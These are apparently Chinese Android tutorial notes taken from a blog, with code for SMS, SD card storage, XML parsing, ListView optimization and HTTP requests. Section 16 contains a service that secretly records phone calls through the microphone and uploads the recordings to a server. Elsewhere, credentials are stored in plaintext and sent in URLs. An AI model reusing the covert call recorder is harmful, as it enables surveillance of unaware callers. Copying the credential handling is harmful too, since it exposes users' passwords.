Intent intent = new Intent();
    intent.setAction(Intent.ACTION_CALL);
    intent.setData(Uri.parse("tel:"+number));
    startActivity(intent);
2 发送短信的操作 短信过长时 拆分短信 一条短信最大的文本长度 是多少 ? 中文 70 汉字 英文 160字符
   SmsManager smsmanager = SmsManager.getDefault();
    /*
    *sentIntent, deliveryIntent延期的意图 ,
    *sentintent 发送报告
    *deliveryIntent 送达报告
    */
    ArrayList<String> messages = smsmanager.divideMessage(content);
    for(String message : messages){
        smsmanager.sendTextMessage(number, null, message, null, null);
    }
3.检测sd卡状态,并往sd卡中写数据。需要权限
   //MEDIA_UNKNOWN:不能识别sd卡
    //MEDIA_REMOVED:没有sd卡
    //MEDIA_UNMOUNTED:sd卡存在但是没有挂载
    //MEDIA_CHECKING:sd卡正在准备
    //MEDIA_MOUNTED:sd卡已经挂载,可用
    if(Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED))
        //返回一个File对象,其路径是sd卡的真实路径
        File file = new File(Environment.getExternalStorageDirectory(), "info.txt");
        FileOutputStream fos;
        try {
            fos = new FileOutputStream(file);
            fos.write((name + "##" + pass).getBytes());
            fos.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    else{
        Toast.makeText(this, "sd卡不可用哟亲么么哒", 0).show();
    }
}
4.判断sd卡剩余容量。
File path = Environment.getExternalStorageDirectory();
StatFs stat = new StatFs(path.getPath());
long blockSize;
long totalBlocks;
long availableBlocks;
//获取当前系统版本的等级
if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR2){       //4.3版本后开始起作用
     blockSize = stat.getBlockSizeLong();
     totalBlocks = stat.getBlockCountLong();
     availableBlocks = stat.getAvailableBlocksLong();
} else{                                                                                                                    //否则使用旧的api                                            
    blockSize = stat.getBlockSize();
    totalBlocks = stat.getBlockCount();
    availableBlocks = stat.getAvailableBlocks();
}
TextView tv = (TextView) findViewById(R.id.tv);
tv.setText(formatSize(availableBlocks * blockSize));
5使用xml序列化器生成xml文件
//1.拿到序列化器对象
XmlSerializer xs = Xml.newSerializer();
//2.初始化
File file = new File("sdcard/sms2.xml");
try {
    FileOutputStream fos = new FileOutputStream(file);
    //enconding:指定用什么编码生成xml文件
    xs.setOutput(fos, "utf-8");
    //3.开始生成xml文件
    //enconding:指定头结点中的enconding属性的值
    xs.startDocument("utf-8", true);
    xs.startTag(null, "message");
    for (Message sms : smsList) {
        xs.startTag(null, "sms");
        xs.startTag(null, "body");
        xs.text(sms.getBody() + "<body>");
        xs.endTag(null, "body");
        xs.startTag(null, "date");
        xs.text(sms.getDate());
        xs.endTag(null, "date");
        xs.startTag(null, "type");
        xs.text(sms.getType());
        xs.endTag(null, "type");
        xs.startTag(null, "address");
        xs.text(sms.getAddress());
        xs.endTag(null, "address");
        xs.endTag(null, "sms");
    }     
    xs.endTag(null, "message");         
    //告诉序列化器,文件生成完毕
    xs.endDocument();
} catch (Exception e) {
    // TODO Auto-generated catch block
    e.printStackTrace();
}
6.解析xml文件
 //获取到src文件夹下的资源文件
InputStream is = getClassLoader().getResourceAsStream("weather.xml");
//拿到pull解析器对象
XmlPullParser xp = Xml.newPullParser();
//初始化
try {
    xp.setInput(is, "gbk");
    //获取当前节点的事件类型,通过事件类型的判断,我们可以知道当前节点是什么节点,从而确定我们应该做什么操作
    int type = xp.getEventType();
    City city = null;
    while(type != XmlPullParser.END_DOCUMENT){
        //根据节点的类型,要做不同的操作
        switch (type) {
        case XmlPullParser.START_TAG:
            //                    获取当前节点的名字
            if("weather".equals(xp.getName())){
                //创建city集合对象,用于存放city的javabean
                cityList = new ArrayList<City>();
            }
            else if("city".equals(xp.getName())){
                //创建city的javabean对象
                city = new City();
            }
            else if("name".equals(xp.getName())){
                // 获取当前节点的下一个节点的文本
                String name = xp.nextText();
                city.setName(name);
            }
            else if("temp".equals(xp.getName())){
                // 获取当前节点的下一个节点的文本
            }
            else if("pm".equals(xp.getName())){
                // 获取当前节点的下一个节点的文本
            }
            break;
        case XmlPullParser.END_TAG:
            if("city".equals(xp.getName())){
            }
            break;
        }
        //把指针移动到下一个节点,并返回该节点的事件类型
        type = xp.next();
    }
} catch (Exception e) {
    e.printStackTrace();
}
7 listview优化
   1)复用convertView
        View v = null;
        //判断条目是否有缓存
        if(convertView == null){
            //把布局文件填充成一个View对象
            v = View.inflate(MainActivity.this, R.layout.item_listview, null);
        }else{
            v = convertView;
        }
  2)利用viewHolder,返回一个View对象,作为listview的条目显示至界面
    public View getView(int position, View convertView, ViewGroup parent) {
        News news = newsList.get(position);
        View v = null;
        ViewHolder mHolder;
        if(convertView == null){
            v = View.inflate(MainActivity.this, R.layout.item_listview, null);
            mHolder = new ViewHolder();
            //把布局文件中所有组件的对象封装至ViewHolder对象中
            mHolder.tv_title = (TextView) v.findViewById(R.id.tv_title);
            mHolder.tv_detail = (TextView) v.findViewById(R.id.tv_detail);
            mHolder.tv_comment = (TextView) v.findViewById(R.id.tv_comment);
            mHolder.siv = (SmartImageView) v.findViewById(R.id.iv);
            //把ViewHolder对象封装至View对象中
            v.setTag(mHolder);
        }else{
            v = convertView;
            mHolder = (ViewHolder) v.getTag();
        }
        //给三个文本框设置内容
        mHolder.tv_title.setText(news.getTitle());
        mHolder.tv_detail.setText(news.getDetail());
        mHolder.tv_comment.setText(news.getComment() + "条评论");
        //给新闻图片imageview设置内容
        mHolder.siv.setImageUrl(news.getImageUrl());
        return v;
    }
    class ViewHolder{
        //条目的布局文件中有什么组件,这里就定义什么属性
        TextView tv_title;
        TextView tv_detail;
        TextView tv_comment;
        SmartImageView siv;
    }
8 junit 测试框架的使用
    1)在manifest中添加上下列代码
    <instrumentation
    android:name="android.test.InstrumentationTestRunner"
    android:targetPackage="自己程序的包名" />
    2)在application下添加以下代码
    <uses-library android:name="android.test.runner" />
    3)创建测试类继承AndroidTestCase类
    4)编写测试方法
10 采用get方式提交数据 原理:拼装url
    String param1 = URLEncoder.encode(name);
    String param2 = URLEncoder.encode(password);
    URL url = new URL(path + "?name=" + param1 + "&password=" + param2);
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    conn.setRequestMethod("GET");
    conn.setReadTimeout(5000);
    // 数据并没有发送给服务器
    // 获取服务器返回的流信息
    InputStream is = conn.getInputStream();
11 提交中文时会产生乱码问题
  1)服务器端问题 Tomcat 默认编码为iso8859-1  而提交的数据编码为utf-8
   处理方法:服务器端onPost方法中
    Sring name=request.getParameter("name");
    if(name!=null){
        name=new String(name.getBytes("iso8859-1"),"utf-8");
    }
  2)安卓端的问题 提交的url中文要编码
   解决办法
    String param1 = URLEncoder.encode(name);
    String param2 = URLEncoder.encode(password);
    URL url = new URL(path + "?name=" + param1 + "&password=" + param2);
12 采用post方法提交数据
    1)get 一次提交的数据数据量比较小 4K 内部其实通过组拼url的方式
       post 可以提交比较大的数据 form表单的形式 流的方式写到服务器
    public static String sendDataByPost(String path, String name,String password) throws Exception {
        String param1 = URLEncoder.encode(name);
        String param2 = URLEncoder.encode(password);
        URL url = new URL(path);
        HttpURLConnection conn = (HttpURLConnection) url.openConnection();
        String data = "name=" + param1 + "&password=" + param2;
        conn.setRequestMethod("POST");
        conn.setConnectTimeout(5000);
        // 设置 http协议可以向服务器写数据
        conn.setDoOutput(true);
        // 设置http协议的消息头 设置提交的数据类型为表单类型
        conn.setRequestProperty("Content-Type",
                "application/x-www-form-urlencoded");
        conn.setRequestProperty("Content-Length", data.length() + "");
        // 把我们准备好的data数据写给服务器
        OutputStream os = conn.getOutputStream();
        os.write(data.getBytes());
        // httpurlconnection 底层实现 outputstream 是一个缓冲输出流
        // 只要我们获取任何一个服务器返回的信息 , 数据就会被提交给服务器 , 得到服务器返回的流信息
        int code = conn.getResponseCode();
        if (code == 200) {
            InputStream is = conn.getInputStream();
            byte[] result = StreamTool.getBytes(is);
            return new String(result);
        } else {
            throw new IllegalStateException("服务器状态异常");
        }
    }
    2)处理中文 乱码
        String param1 = URLEncoder.encode(name);
        String param2 = URLEncoder.encode(password);
        URL url = new URL(path);
        HttpURLConnection conn = (HttpURLConnection) url.openConnection();
        String data = "name=" + param1 + "&password=" + param2;
13 由于面向http协议提交数据很麻烦,所以gogole提供了一套简单api httpclient来模拟浏览器 使用httpclient get方式提交数据
    /**
     * httpclient 浏览器的简单包装
     * new HttpClient 就相当于得到了一个浏览器
     */
    public static String sendDataByHttpClientGet (String path , String name,String password) throws Exception{
        //1. 获取到一个浏览器的实例
        HttpClient client = new DefaultHttpClient();
        //2. 准备请求的地址
        String param1 = URLEncoder.encode(name);
        String param2 = URLEncoder.encode(password);
        HttpGet httpGet = new HttpGet(path + "?name=" + param1 + "&password=" + param2);
        //3. 发请求
        HttpResponse  ressponse = client.execute(httpGet);
        int code = ressponse.getStatusLine().getStatusCode();
        if(code == 200){
            InputStream is  =ressponse.getEntity().getContent();
            byte[] result = StreamTool.getBytes(is);
            return new String(result);
        }
        else{
            throw new IllegalStateException("服务器状态异常");
        }
    }
14 采用httpclient post方式提交数据
public static String sendDataByHttpClientPost(String path , String name,String password) throws Exception{
    //1. 获取到一个浏览器的实例
    HttpClient client = new DefaultHttpClient();
    //2. 准备要请求的 数据类型
    HttpPost httppost = new HttpPost(path);
    // 键值对
    List< NameValuePair> parameters = new ArrayList<NameValuePair>();
    parameters.add(new BasicNameValuePair("name", name));
    parameters.add(new BasicNameValuePair("password", password));
    UrlEncodedFormEntity entity = new UrlEncodedFormEntity(parameters, "utf-8");
    //3.设置post请求的数据实体
    httppost.setEntity(entity);
    //4. 发送数据给服务器
    HttpResponse  ressponse = client.execute(httppost);
    int code = ressponse.getStatusLine().getStatusCode();
    if(code == 200){
        InputStream is  =ressponse.getEntity().getContent();
        byte[] result = StreamTool.getBytes(is);
        return new String(result);
    }
    else{
        throw new IllegalStateException("服务器状态异常");
    }
}
15 短信监听器获取短信的操作在onreceive方法中
     // intent 存放的有接收到的短信的内容
    Object[] pdus =  (Object[]) intent.getExtras().get("pdus");
    for(Object pdu:pdus){
        SmsMessage message  = SmsMessage.createFromPdu((byte[])pdu);
        // 获取短信的正文内容
        final String content = message.getMessageBody();
        //获取短信的发送者
        final String address = message.getOriginatingAddress();
16 四大组件service的使用 服务是运行在主线程中的。 AndroidManifest中配置组件
启动服务 :
Intent intent = new Intent(this,PhoneListenService.class);
startService(intent);
1 在服务里实现电话监听
权限:<uses-permission android:name="android.permission.READ_PHONE_STATE"/>            监听电话状态
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>          监听sd卡状态
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>             写外部存储设备
<uses-permission android:name="android.permission.RECORD_AUDIO"/>                       录音 使用mic
<uses-permission android:name="android.permission.INTERNET"/>                           访问互联网
public class PhoneListenService extends Service {
    public IBinder onBind(Intent intent) {
        return null;
    }
     //2. onCreate方法在服务第一次被创建的时候 执行
    public void onCreate() {
        super.onCreate();
        setForeground(true); //提升为前台进程
        // 1. 判断当前手机的状态,
        // 如果发现手机处于 通话状态
        // 创建一个录音器, 录下来用户的通话信息
        // 当发现手机再次处于 idle 状态 停止录音机,把音频文件 上传到服务器
        // 得到手机与电话状态相关的服务
        TelephonyManager manager = (TelephonyManager) this
                .getSystemService(TELEPHONY_SERVICE);
        //监听电话状态
        manager.listen(new MyPhoneListener(),PhoneStateListener.LISTEN_CALL_STATE);
    }
    private class MyPhoneListener extends PhoneStateListener {
        MediaRecorder recorder = null;
        /**
         *当电话的通话状态发生改变的时候 被调用的方法
         */
        @Override
        public void onCallStateChanged(int state, String incomingNumber) {
            try {
                switch (state) {
                case TelephonyManager.CALL_STATE_IDLE: // 当前电话处于闲置状态
                    System.out.println("当前电话处于闲置状态 ");
                    // 判断下recorder是否为空
                    if(recorder!=null){
                        recorder.stop();
                        recorder.release(); // Now the object cannot be reused
                        recorder = null;
                        new Thread(){
                            @Override
                            public void run() {
                                // 上传数据到服务器  演示的代码  有问题的
                                File file = new File("/sdcard/temp.3gp");
                                try {
                                    upload(file);
                                } catch (Exception e) {
                                    e.printStackTrace();
                                }
                            }
                        }.start();
                    }
                    break;
                case TelephonyManager.CALL_STATE_RINGING: // 当前电话处于零响状态
                    System.out.println("电话号码为 " + incomingNumber);
                    break;
                case TelephonyManager.CALL_STATE_OFFHOOK: // 当前电话处于接听状态
                    System.out.println("当前电话处于通话状态 ");
                    // 初始化一个录音器,
                    recorder = new MediaRecorder();
                    recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
                    recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
                    recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
                    recorder.setOutputFile("/sdcard/temp.3gp");
                    recorder.prepare();
                    recorder.start();   // Recording is now started
                    break;
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
            super.onCallStateChanged(state, incomingNumber);
        }
    }
    public void upload(File file) throws Exception{
        // 实例化上传数据的 数组  part []
        Part[] parts = {
                  new FilePart("file",file)};
        PostMethod filePost = new PostMethod("http://192.168.1.247:8080/web/LoginServlet");
        filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost.getParams()));
        org.apache.commons.httpclient.HttpClient client = new org.apache.commons.httpclient.HttpClient();
        client.getHttpConnectionManager().getParams()
          .setConnectionTimeout(5000);
        int status = client.executeMethod(filePost);
        if(status==200){
            System.out.println("上传成功");
        }
        else{
            throw new IllegalStateException("服务器状态异常");
        }
    }
}
13service的生命周期
oncreate()   服务创建时候调用的方法
onstart()    服务开启时候调用的方法
ondestroy()  服务停止时候调用的方法
两种服务开启方式
1)通过startservice()开始服务 StopService()结束服务。
2)绑定方式
参数 1 intent 2 serviceConnection接口 3 Context.BIND_AUTO_CREATE 绑定的时候服务不存在的时候会自动创建
bindService(service,conn,flags);
unBindService
原文:http://blog.csdn.net/z_fishlong/article/details/51001593